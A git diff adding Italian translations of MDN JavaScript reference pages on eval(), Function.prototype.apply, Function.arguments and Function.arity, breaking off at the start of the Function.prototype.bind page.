+<p>L'argomento della funzione <code>eval()</code> è una stringa. Se la stringa rappresenta un'espressione, <code>eval()</code> esegue l'espressione. Se l'argomento rappresenta una o più dichiarazioni Javascript, <code>eval()</code>esegue le dichiarazioni. Non chiamare <code>eval()</code> per eseguire un'operazione aritmetica, JavaScript la esegue automaticamente.</p>
+
+<p>Se si costruisce un'espressione aritmetica come una stringa, è possibile usare <code>eval()</code> per eseguirla in un secondo momento. Ad esempio, supponiamo di avere una variabile <code>x</code>. E' possibile rinviare il valore di un'espressione che coinvolge <code>x</code>  assegnando il valore della stringa dell'espressione, tipo "<code>3 * x + 2</code>", ad una variabile, e quindi chiamare <code>eval()</code> in un punto successivo dello script.</p>
+
+<p>Se l'argomento di <code>eval()</code> non è una stringa, <code>eval()</code> restituisce l'argomento immutato. Nell'esempio qui sotto, il costrutto <code>String</code> viene specificato, e <code>eval()</code> ritorna un oggetto <code>String</code> piuttosto che il risultato della stringa.</p>
+
+<pre class="brush:js">eval(new String("2 + 2")); // returns a String object containing "2 + 2"
+eval("2 + 2");             // returns 4
+</pre>
+
+<p>E' possibile aggirare questa limitazione in modo generico utilizzando <code>toString()</code>.</p>
+
+<pre class="brush:js">var expression = new String("2 + 2");
+eval(expression.toString());
+</pre>
+
+<p>Non è possibile utilizzare la funzione <code>eval</code> indirettamente, invocandola con un nome diverso da <code>eval()</code>; se lo fai , potrebbe verificarsi un errore di sintassi. Per esempio, non si dovrebbe usare il seguente codice:</p>
+
+<pre class="brush:js">var x = 2;
+var y = 4;
+var myEval = eval;
+myEval("x + y");
+</pre>
+
+<h2 id="Don.27t_use_eval.21" name="Don.27t_use_eval.21"><a name="dont-use-it">Non usate eval inutilmente!</a></h2>
+
+<p><code>eval()</code>è una funzione pericolosa, che esegue il codice con i privilegi dell'amministratore della pagina. Se si esegue <code>eval()</code> con una stringa che potrebbe essere interessata da un malintenzionato, si può interrompere l'esecuzione del codice dannoso sul computer dell'utente con il permesso della pagina Web. Ancora più importante, codici di terze parti possono vedere come <code>eval()</code> è stata invocata, che può portare a possibili attacchi come {{jsxref("Global_Objects/Function", "Function")}}.</p>
+
+<p><code>eval()</code> è generalmente più lenta rispetto alle alternative, dal momento che deve chiamare l'interprete di JS, mentre moltri altri costrutti sono ottimizzati da moderni "motori" JS.</p>
+
+<p>Queste sono alternative più sicure (e veloci! ) ad <code>eval()</code> per comuni impieghi.</p>
+
+<h3 id="Accessing_member_properties" name="Accessing_member_properties">Accesso alle proprietà utente</h3>
+
+<p>Si consiglia si non utilizzare <code>eval()</code> per conventire i nomi di proprietà in proprietà. Consideriamo l'esempio qui sotto, dove le proprietà dell'oggetto acui accedere non è nota fino a quando viene eseguito il codice. Questo può essere fatto con eval:</p>
+
+<pre class="brush:js">var obj = { a: 20, b: 30 };
+var propname = getPropName();  //returns "a" or "b"
+
+eval( "var result = obj." + propname );
+</pre>
+
+<p>Tuttavia, <code>eval ()</code> non è necessario qui. In realtà, il suo uso è sconsigliato qui. Invece, utilizzare gli <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Member_Operators" title="JavaScript/Reference/Operators/Member_Operators">operatori membri</a>, che sono molto più veloci e sicuri:</p>
+
+<pre class="brush:js">var obj = { a: 20, b: 30 };
+var propname = getPropName();  //returns "a" or "b"
+var result = obj[ propname ];  //  obj[ "a" ] is the same as obj.a
+</pre>
+
+<h3 id="Use_functions_instead_of_evaluating_snippets_of_code" name="Use_functions_instead_of_evaluating_snippets_of_code">Utilizzare le funzioni invece di eseguire frammenti di codice</h3>
+
+<p>JavaScript ha <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">funzioni di prima classe</a>, il che significa che è possibile passare funzioni come argomenti ad altre API, memorizzarli in variabili e le proprietà degli oggetti, e così via. Molte API DOM sono progettate con questo in mente, in modo da poter (e devono) scrivere a:</p>
+
+<pre class="brush: js">// instead of setTimeout(" ... ", 1000) use:
+setTimeout(function() { ... }, 1000);
+
+// instead of elt.setAttribute("onclick", "...") use:
+elt.addEventListener("click", function() { ... } , false); </pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Guide/Closures" title="JavaScript/Guide/Closures">Le chiusure</a> sono utili anche come un modo per creare funzioni parametrizzate senza concatenazioni di stringhe.</p>
+
+<h3 id="Parsing_JSON_(converting_strings_to_JavaScript_objects)" name="Parsing_JSON_(converting_strings_to_JavaScript_objects)">Analisi di JSON (conversione di stringhe in oggetti JavaScript)</h3>
+
+<p>Se la stringa che si sta chiamando <code>eval()</code> contiene dati (per esempio un array: <code>"[1, 2, 3]"</code>), al ontrario del codice, si dovrebbe considerareil passaggio a <a href="/en-US/docs/JSON" title="JSON">JSON</a>, che permette la stringa di utilizzre un sottoinsieme della sintassi Javascript per rappresentare i dati. Vedi anche <a href="/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Downloading JSON and JavaScript in extensions</a>.</p>
+
+<p>Notare che, poichè la sintassi JSON è limitata rispetto alla sintassi di Javascript, molti letterali Javascript validi non analizzare come JSON. Ad esempio, le virgole finali non sono ammessi in JSON, e nomi di proprietà (chiavi) in letterali oggetto devono essere racchiusi tra virgolette. Assicurarsi di utilizzare un serializzatore JSON per generare le stringhe che vrranno successivamente analizzate come JSON.</p>
+
+<h3 id="Pass_data_instead_of_code" name="Pass_data_instead_of_code">Paasare i dati al posto di codici</h3>
+
+<p>Ad esempio, un'estensione progettata per raschiare contenuti delle pagine Web potrebbe avere le regole di raschiatura definite in  <a href="/en-US/docs/XPath" title="XPath">XPath</a> invece di codice Javascript.</p>
+
+<h3 id="Run_code_with_limited_privileges" name="Run_code_with_limited_privileges">Eseguire codice con privilegi limitati</h3>
+
+<p>Se devi eseguire il codice, considerare di eseguirlo con privilegi ridotti. Questo consilio vale soprattutto per le estensioni e le applicazioni XUL, che possono utilizzare  <a href="/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a> per questo.</p>
+
+<h2 id="Examples" name="Examples">Esempio</h2>
+
+<p>Il seguente esempio mostra output utilizzando <a href="/en-US/docs/Web/API/document.write"><code>document.write</code></a>. Nel server-side JavaScript, è possibile visualizzare la stessa uscita chiamando la funzione <code>write()</code> invece di utilizzare il <code>document.write()</code>.</p>
+
+<h3 id="Example:_Using_eval" name="Example:_Using_eval">Esempio: Usare <code>eval</code></h3>
+
+<p>Nel codice seguente, entrambe le dichiarazioni contenenti  <code>eval()</code> restituiscono 42. La prima restituisce la stringa  "<code>x + y + 1</code>" ; la seconda esegue la stringa "<code>42</code>".</p>
+
+<pre class="brush:js">var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // returns 42
+eval(z);           // returns 42
+</pre>
+
+<h3 id="Example:_Using_eval_to_evaluate_a_string_of_JavaScript_statements" name="Example:_Using_eval_to_evaluate_a_string_of_JavaScript_statements">Esempio: Usare <code>eval</code> Per eseguire una serie di istruzioni JavaScript.</h3>
+
+<p>Il seguente esempio utilizza  <code>eval()</code> per eseguire la stringa <code>str</code>. Questa stringa consiste in una serie di istruzioni JavaScript che aprono una finestra di avviso e assegnano a <code>z</code> un valore 42 se <code>x</code> è di cinque, e assegna 0 a <code>z</code> altrimenti. Quando viene eseguita la seconda istruzione, <code>eval()</code> farà si che questa dichiarazioni da effettuare, e sarà anche eseguire l'insieme di istruzioni e restituire il valore che viene assegnato a <code>z</code>.</p>
+
+<pre class="brush:js">var x = 5;
+var str = "if (x == 5) {alert('z is 42'); z = 42;} else z = 0; ";
+
+document.write("&lt;P&gt;z is ", eval(str));</pre>
+
+<h3 id="Return_value" name="Return_value">Esempio: L'ultima espressione viene eseguita</h3>
+
+<p><code>eval()</code>restituisce il valore dell'ultima espressione valutata.</p>
+
+<pre class="brush:js">var str = "if ( a ) { 1+1; } else { 1+2; }";
+var a = true;
+var b = eval(str);  // returns 2
+
+alert("b is : " + b);
+
+a = false;
+b = eval(str);  // returns 3
+
+alert("b is : " + b);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-eval-x', 'eval')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome per Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="See_Also" name="See_Also">Gecko-specific notes</h3>
+
+<ul>
+ <li>Storicamente <code>eval()</code> ha avuto un secondo argomento opzionale, specificando un oggetto nel cui contesto la valutazione doveva essere eseguita. Questo argomento è stato non-standard, ed è stato rimosso dal SpiderMonkey in Gecko 1.9.1 (Firefox 3.5). Vedere {{ bug(442333) }}.</li>
+</ul>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Member_Operators">Member operators</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/function/apply/index.html b/files/it/web/javascript/reference/global_objects/function/apply/index.html
new file mode 100644
index 0000000000..1c0d04272d
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/apply/index.html
@@ -0,0 +1,250 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Function/apply
+tags:
+  - JavaScript
+  - funzione
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>
+<p>{{JSRef}}</p>
+
+<p>Il metodo <code><strong>apply()</strong></code> chiama una funzione passandole il "<code>this</code>" ed i parametri forniti sottoforma di array (o <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array-like object</a>).</p>
+
+<p><strong>Nota:</strong> Mentre la sintassi di questa funzione è quasi completamente identica a quella di {{jsxref("Function.call", "call()")}}, la fondamentale differenza è che <code>call()</code> accetta una <strong>lista di parametri</strong>, mentre <code>apply()</code> accetta un <strong>singolo array contenente una lista di parametri</strong>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre><code><var>fun</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Il valore del <code>this</code> da fornire alla chiamata a <em><code>fun</code></em>. Nota che questo potrebbe non essere l'effettivo valore visto dal metodo: se il metodo non è eseguito in {{jsxref("Strict_mode", "strict mode", "", 1)}}, {{jsxref("null")}} ed {{jsxref("undefined")}} saranno rimpiazzati dall'oggetto globale.</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>Un array-like object che specifica i parametri con la quale la funzione <em><code>fun</code></em> deve essere chiamata. Può essere anche {{jsxref("null")}} o {{jsxref("undefined")}} nel caso nessun parametro dovesse essere passato. A partire da ECMAScript 5 questi parametri possono essere un qualunque array-like object invece di un semplice array. Vedi sotto per le {{anch("Browser_compatibility", "compatibilità nei browser")}}.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>this</code> solitamente si riferisce all'oggetto corrente, ma grazie ad <code>apply</code> è possibile scrivere un metodo una sola volta e riusarlo più volte su oggetti differenti passando ad apply, appunto, un this differente. Cosi viene eliminata la necessità di riscrivere di nuovo lo stesso metodo per un oggetto diverso.</p>
+
+<p><code>apply</code> è molto simile a {{jsxref("Function.call", "call()")}}, eccezion fatta per il modo in cui i parametri vengono passati. Puoi utilizzare un array di parametri invece della solita lista. Con <code>apply</code>, ad esempio, puoi utilizzare il seguente array literal: <code><em>fun</em>.apply(this, ['eat', 'bananas'])</code>, o il seguente oggetto {{jsxref("Array")}}: <code><em>fun</em>.apply(this, new Array('eat', 'bananas'))</code>.</p>
+
+<p>Puoi anche utilizzare {{jsxref("Functions/arguments", "arguments")}} per il parametro <code>argsArray<font face="Open Sans, Arial, sans-serif">. </font></code><code>arguments</code> è una variabile locale di tutte le funzioni. Può essere utilizzata per tutti i parametri non specificati dell'oggetto chiamato. In più, non è necessario che si conoscano i parametri dell'oggetto chiamato quando si utilizza apply.</p>
+
+<p>Da ECMAScript 5 puoi anche usare qualunque tipo di array-like object. Ad esempio puoi utilizzare un {{domxref("NodeList")}} o un oggetto come <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code>.</p>
+
+<p>{{note("La maggior parte dei browser, incluso Chrome 14 ed Internet Explorer 9, non accetto array-like objects e lanceranno una eccezione.")}}</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzare_apply_per_concatenare_costruttori">Utilizzare apply per concatenare costruttori</h3>
+
+<p>Puoi utilizzare apply per concatenare {{jsxref("Operators/new", "costruttori", "", 1)}} per un oggetto, in maniera simile a Java. Nel seguente esempio creeremo una {{jsxref("Function")}} globale chiamata <code>construct</code>, che ti permetterà di utilizzare un array-like object con un costruttore anziché una lista di argomenti.</p>
+
+<pre>Function.prototype.construct = function (aArgs) {
+  var oNew = Object.create(this.prototype);
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+</pre>
+
+<p><strong>Note:</strong> Il metodo <code>Object.create()</code> usato nell'esempio sovrastante è relativamente nuovo. Per un alternativa che utilizza le closures considera questo pezzo di codice:</p>
+
+<pre>Function.prototype.construct = function(aArgs) {
+  var fConstructor = this, fNewConstr = function() {
+    fConstructor.apply(this, aArgs);
+  };
+  fNewConstr.prototype = fConstructor.prototype;
+  return new fNewConstr();
+};</pre>
+
+<p>Esempio d'uso:</p>
+
+<pre>function MyConstructor() {
+  for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+    this['property' + nProp] = arguments[nProp];
+  }
+}
+
+var myArray = [4, 'Hello world!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+console.log(myInstance.property1);                // logs 'Hello world!'
+console.log(myInstance instanceof MyConstructor); // logs 'true'
+console.log(myInstance.constructor);              // logs 'MyConstructor'
+</pre>
+
+<p><strong>Note:</strong> Il metodo non nativo <code>Function.construct</code> non funzionerà con alcuni costruttori nativi (come {{jsxref("Date")}}). In questi casi devi usare {{jsxref("Function.prototype.bind")}}. Immagina ad esempio di avere un array come il seguente da utilizzare con il costruttore {{jsxref("Global_Objects/Date", "Date")}}: <code>[2012, 11, 4]</code>; In questo caso dovresti scrivere qualcosa come: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> — ad ogni modo questo non è il miglior modo di fare le cose e non andrebbe mai usato in produzione.</p>
+
+<h3 id="Utilizzare_apply_combinato_alle_funzioni_built-in">Utilizzare apply combinato alle funzioni built-in</h3>
+
+<p>Un intelligente uso di <code>apply</code> ti permette di utilizzare delle funzioni built-in per dei compiti che altrimenti sarebbero stati fatti, nel caso sottostante, ciclando l'array e scorrendo ogni suo elemento e sottoponendolo a dei controlli. L'esempio seguente dimostra come trovare il massimo / minimo valore all'interno di un array utilizzando <code>Math.max</code>/<code>Math.min</code>.</p>
+
+<pre>// min/max number in an array
+var numbers = [5, 6, 2, 3, 7];
+
+// using Math.min/Math.max apply
+var max = Math.max.apply(null, numbers);
+// This about equal to Math.max(numbers[0], ...)
+// or Math.max(5, 6, ...)
+
+var min = Math.min.apply(null, numbers);
+
+// vs. simple loop based algorithm
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+  if (numbers[i] &gt; max) {
+    max = numbers[i];
+  }
+  if (numbers[i] &lt; min) {
+    min = numbers[i];
+  }
+}
+</pre>
+
+<p>Ma tieni a mente che nell'usare apply in questo modo si corre il rischio di superare il limite imposto dal motore JavaScript degli argomenti che possono essere passati ad una funzione.<br>
+ Le conseguenze nel fare ciò variano da motore a motore (ad esempio JavaScriptCore ha il limite settato a mano di <a href="https://bugs.webkit.org/show_bug.cgi?id=80797">65536</a> parametri), perché il limite non è specificato. Alcuni motori lanceranno una eccezione. Altri invece limiteranno arbitrariamente il numero dei parametri passati alla funzione su cui viene usato il metodo <em><code>apply().</code></em> (Un esempio di quest'ultimo caso potrebbe essere quello di un motore che ha questo limite settato a 4 e, nell'esempio sovrastante, gli unici parametri che effettivamente saranno passati alla funzione saranno <code>5, 6, 2, 3</code>, piuttosto che l'intero array.) Una decisione saggia, nel caso si prevede la possibilità di raggiungere un enorme numero di parametri, sarebbe quella di parzializzare il numero di parametri per lotti:</p>
+
+<pre>function minOfArray(arr) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+    var submin = Math.min.apply(null, arr.slice(i, Math.min(i+QUANTUM, len)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+</pre>
+
+<h3 id="Usare_apply_come_monkey-patch">Usare apply come "monkey-patch"</h3>
+
+<p>L'attività del "monkey-patching" consiste nel modificare il funzionamento di un metodo senza dover andare a mettere mano al codice sorgente (cosa da evitare sempre e comunque). Difatti Apply può rivelarsi il modo migliore di modificare il funzionamento, ad esempio, di una funzione interna a Firefox o di una qualunque altra libreria JS. Data una funzione <code>someobject.foo</code>, è possibile modificarne il funzionamento in questo modo:</p>
+
+<pre>var originalfoo = someobject.foo;
+someobject.foo = function() {
+  // Do stuff before calling function
+  console.log(arguments);
+  // Call the function as it would have been called normally:
+  originalfoo.apply(this, arguments);
+  // Run stuff after, here.
+}
+</pre>
+
+<p>Questo metodo ritorna particolarmente utile quando vuoi debuggare eventi e interfacce con qualcosa che non espone API come i diversi eventi <code>.on([event]...</code> (usabili anche dal <a href="/en-US/docs/Tools/Page_Inspector#Developer_API">Devtools Inspector</a>).</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES 5.1 generico array-like object come {{jsxref("Functions/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES 5.1 generico array-like object come {{jsxref("Functions/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} object</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+</div>
diff --git a/files/it/web/javascript/reference/global_objects/function/arguments/index.html b/files/it/web/javascript/reference/global_objects/function/arguments/index.html
new file mode 100644
index 0000000000..949e5f9cdb
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/arguments/index.html
@@ -0,0 +1,92 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Reference/Global_Objects/Function/arguments
+tags:
+  - Deprecated
+  - Function
+  - JavaScript
+  - Property
+  - arguments
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>La proprieta' <code><strong><em>function</em>.arguments</strong></code> fa riferimento ad un oggetto simile ad un array corrispondente ai parametri passati ad una funzione. Usa questa semplice variabile {{jsxref("Functions/arguments", "arguments")}} invece. Questa proprieta' non e' disponibile in strict mode.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">La sintassi </span></font><em>function</em>.arguments</code> e' deprecata. Il metodo consigliato per accedere all'oggetto {{jsxref("Functions/arguments", "arguments")}}, disponibile all'interno delle funzioni e' semplicemente mediante l'utilizzo di {{jsxref("Functions/arguments", "arguments")}}.</p>
+
+<p>In caso di ricorsione, per esempio, se la funzione <code>f</code> e' presente diverse volte nello stack, il valore di <code>f.arguments</code> rappresenta i parametri corrispondenti alla chiamata alla funzione piu' recente.</p>
+
+<p>Il valore della proprieta' arguments e' normalmente null se non c'e' una sua chiamata durante l'esecuzione della funzione (ovvero quando la funzione e' stata chiamata ma non ha ancora ritornato nessun valore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">function f(n) { g(n - 1) }
+
+function g(n) {
+  console.log('before: ' + g.arguments[0])
+  if (n &gt; 0) { f(n) }
+  console.log('after: ' + g.arguments[0])
+}
+
+f(2)
+
+console.log('returned: ' + g.arguments)
+
+// Output
+
+// before: 1
+// before: 0
+// after: 0
+// after: 1
+// returned: null
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0. Deprecated in favor of {{jsxref("Functions/arguments", "arguments")}} in ES3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'arguments object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>{{jsxref("Functions/arguments", "arguments")}} object</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-object', 'arguments object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>{{jsxref("Functions/arguments", "arguments")}} object</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-object', 'arguments object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>{{jsxref("Functions/arguments", "arguments")}} object</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilita_Browser">Compatibilita' Browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function.arguments")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} object</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/function/arity/index.html b/files/it/web/javascript/reference/global_objects/function/arity/index.html
new file mode 100644
index 0000000000..fec2d9e988
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/arity/index.html
@@ -0,0 +1,26 @@
+---
+title: Function.arity
+slug: Web/JavaScript/Reference/Global_Objects/Function/arity
+translation_of: Archive/Web/JavaScript/Function.arity
+---
+<p>{{JSRef}}{{Obsolete_Header}}</p>
+
+<div class="blockIndicator note">
+<p>La proprieta' <code><strong>arity</strong></code> ritornava il numero di parametri richiesta da una funzione. Ad ogni modo non esiste piu' ed e' stata rimpiazzata dalla proprieta' {{JSxRef("Function.prototype.length")}}.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<p>Implementato in JavaScript 1.2. Deprecato in JavaScript 1.4.</p>
+
+<h2 id="Compatibilita_Browser">Compatibilita' Browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Function.arity")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{JSxRef("Function.prototype.length")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/function/bind/index.html b/files/it/web/javascript/reference/global_objects/function/bind/index.html
new file mode 100644
index 0000000000..38187ac5e6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/function/bind/index.html
@@ -0,0 +1,277 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Reference/Global_Objects/Function/bind
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>bind()</strong></code> crea una nuova funzione che, quando chiamata, ha parola chiave <strong><code>this</code></strong> impostata sul valore fornito, con una data sequenza di argomenti che precede quella fornita quando viene chiamata la nuova funzione</p>
+
+<p>{{EmbedInteractiveExample("pages/js/function-bind.html", "taller")}}</p>
+
+<p class="hidden">La fonte per questo esempio interattivo è memorizzata in un repository GitHub. Se desideri contribuire al progetto di esempi interattivi, ti preghiamo di clonare. <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviarci una richiesta di pull.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><var>function</var></code>.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Il valore va passato come parametro alla funzione target quando viene chiamata la funzione associata. Il valore viene ignorato se la funzione associata viene costruita utilizzando l'operatore {{jsxref("Operators/new", "new")}}. Quando si utilizza <code>bind</code> per creare una funzione (fornita come callback) all'interno di un setTimeout, qualsiasi valore primitivo passato come <code>thisArg</code> viene convertito in oggetto. Se non vengono forniti argomenti per vincolarlo, l'esecuzione viene considerata come <code>thisArg</code> per la nuova funzione.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Argomenti da anteporre agli argomenti forniti alla funzione associata quando si richiama la funzione di destinazione.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Una copia della funzione data con specificato <strong><code>this</code></strong> valore e gli argomenti iniziali.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
